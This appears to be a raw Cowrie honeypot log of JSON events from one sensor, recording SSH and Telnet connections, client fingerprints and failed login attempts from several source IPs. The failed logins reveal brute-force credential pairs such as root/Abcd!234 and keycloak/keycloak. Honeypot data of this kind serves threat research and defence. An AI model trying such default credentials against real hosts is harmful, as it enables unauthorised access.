{"eventid":"cowrie.login.failed","username":"root","password":"Abcd!234","message":"login attempt [root/Abcd!234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:57.287239Z","src_ip":"13.71.92.229","session":"101e17156e82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:57.577383Z","src_ip":"20.193.250.100","session":"8cf47a60b19d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60188,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8be852bc534","protocol":"ssh","message":"New connection: 176.65.132.129:60188 (159.203.135.109:22) [session: f8be852bc534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:57.974428Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:57.979339Z","src_ip":"176.65.132.129","session":"f8be852bc534","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:58.061454Z","src_ip":"176.65.132.129","session":"f8be852bc534","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"keycloak","password":"keycloak","message":"login attempt [keycloak/keycloak] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:58.307729Z","src_ip":"176.65.132.129","session":"f8be852bc534","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:58.503966Z","src_ip":"13.71.92.229","session":"101e17156e82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:35:59.392403Z","src_ip":"176.65.132.129","session":"f8be852bc534","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60204,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4d80f511f95","protocol":"ssh","message":"New connection: 176.65.132.129:60204 (159.203.135.109:22) [session: e4d80f511f95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:01.315904Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:01.329629Z","src_ip":"176.65.132.129","session":"e4d80f511f95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:01.404107Z","src_ip":"176.65.132.129","session":"e4d80f511f95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uploader","password":"uploader","message":"login attempt [uploader/uploader] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:01.724826Z","src_ip":"176.65.132.129","session":"e4d80f511f95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:02.811359Z","src_ip":"176.65.132.129","session":"e4d80f511f95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":60208,"dst_ip":"159.203.135.109","dst_port":22,"session":"5562495d8be4","protocol":"ssh","message":"New connection: 176.65.132.129:60208 (159.203.135.109:22) [session: 5562495d8be4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:04.560773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:04.565803Z","src_ip":"176.65.132.129","session":"5562495d8be4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:04.647985Z","src_ip":"176.65.132.129","session":"5562495d8be4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"esuser","password":"esuser123","message":"login attempt [esuser/esuser123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:04.895808Z","src_ip":"176.65.132.129","session":"5562495d8be4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34090,"dst_ip":"10.17.0.5","dst_port":23,"session":"1b02e491bf3b","protocol":"telnet","message":"New connection: 152.42.224.71:34090 (10.17.0.5:23) [session: 1b02e491bf3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:05.451796Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:05.984603Z","src_ip":"176.65.132.129","session":"5562495d8be4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.65170431137085,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:06.266576Z","src_ip":"115.212.73.59","session":"65717b4a266f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.132.125.41","src_port":34188,"dst_ip":"159.203.135.109","dst_port":22,"session":"0a7daa0f8def","protocol":"ssh","message":"New connection: 45.132.125.41:34188 (159.203.135.109:22) [session: 0a7daa0f8def]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:07.747520Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:07.752421Z","src_ip":"45.132.125.41","session":"0a7daa0f8def","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46796,"dst_ip":"159.203.135.109","dst_port":22,"session":"5c21cbf450ac","protocol":"ssh","message":"New connection: 176.65.132.129:46796 (159.203.135.109:22) [session: 5c21cbf450ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:07.770492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:07.776197Z","src_ip":"176.65.132.129","session":"5c21cbf450ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:07.854439Z","src_ip":"45.132.125.41","session":"0a7daa0f8def","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:07.906812Z","src_ip":"176.65.132.129","session":"5c21cbf450ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vncuser","password":"vncuser","message":"login attempt [vncuser/vncuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:08.267733Z","src_ip":"176.65.132.129","session":"5c21cbf450ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"level42","message":"login attempt [root/level42] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:08.293264Z","src_ip":"45.132.125.41","session":"0a7daa0f8def","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.249.28.115","src_port":55934,"dst_ip":"159.203.135.109","dst_port":22,"session":"a402562f16c3","protocol":"ssh","message":"New connection: 23.249.28.115:55934 (159.203.135.109:22) [session: a402562f16c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:09.121266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:09.126296Z","src_ip":"23.249.28.115","session":"a402562f16c3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:09.317258Z","src_ip":"23.249.28.115","session":"a402562f16c3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:09.352485Z","src_ip":"176.65.132.129","session":"5c21cbf450ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:09.400932Z","src_ip":"45.132.125.41","session":"0a7daa0f8def","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"conan","message":"login attempt [root/conan] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:10.114226Z","src_ip":"23.249.28.115","session":"a402562f16c3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":46800,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6579316cf22","protocol":"ssh","message":"New connection: 176.65.132.129:46800 (159.203.135.109:22) [session: f6579316cf22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:11.156345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:11.161160Z","src_ip":"176.65.132.129","session":"f6579316cf22","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:11.243696Z","src_ip":"176.65.132.129","session":"f6579316cf22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:11.310155Z","src_ip":"23.249.28.115","session":"a402562f16c3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"linux","password":"linux","message":"login attempt [linux/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:11.489866Z","src_ip":"176.65.132.129","session":"f6579316cf22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.13.24.118","src_port":36312,"dst_ip":"10.17.0.5","dst_port":22,"session":"d909a1811551","protocol":"ssh","message":"New connection: 186.13.24.118:36312 (10.17.0.5:22) [session: d909a1811551]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:11.498209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:11.503288Z","src_ip":"186.13.24.118","session":"d909a1811551","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:11.668985Z","src_ip":"186.13.24.118","session":"d909a1811551","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49808,"dst_ip":"10.17.0.5","dst_port":23,"session":"b0f1d1c9149e","protocol":"telnet","message":"New connection: 152.42.224.71:49808 (10.17.0.5:23) [session: b0f1d1c9149e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:12.089753Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"blue123","message":"login attempt [root/blue123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:12.367476Z","src_ip":"186.13.24.118","session":"d909a1811551","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:12.643565Z","src_ip":"176.65.132.129","session":"f6579316cf22","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":49812,"dst_ip":"10.17.0.5","dst_port":23,"session":"76ed993d7f62","protocol":"telnet","message":"New connection: 152.42.224.71:49812 (10.17.0.5:23) [session: 76ed993d7f62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T06:36:13.282932Z"}
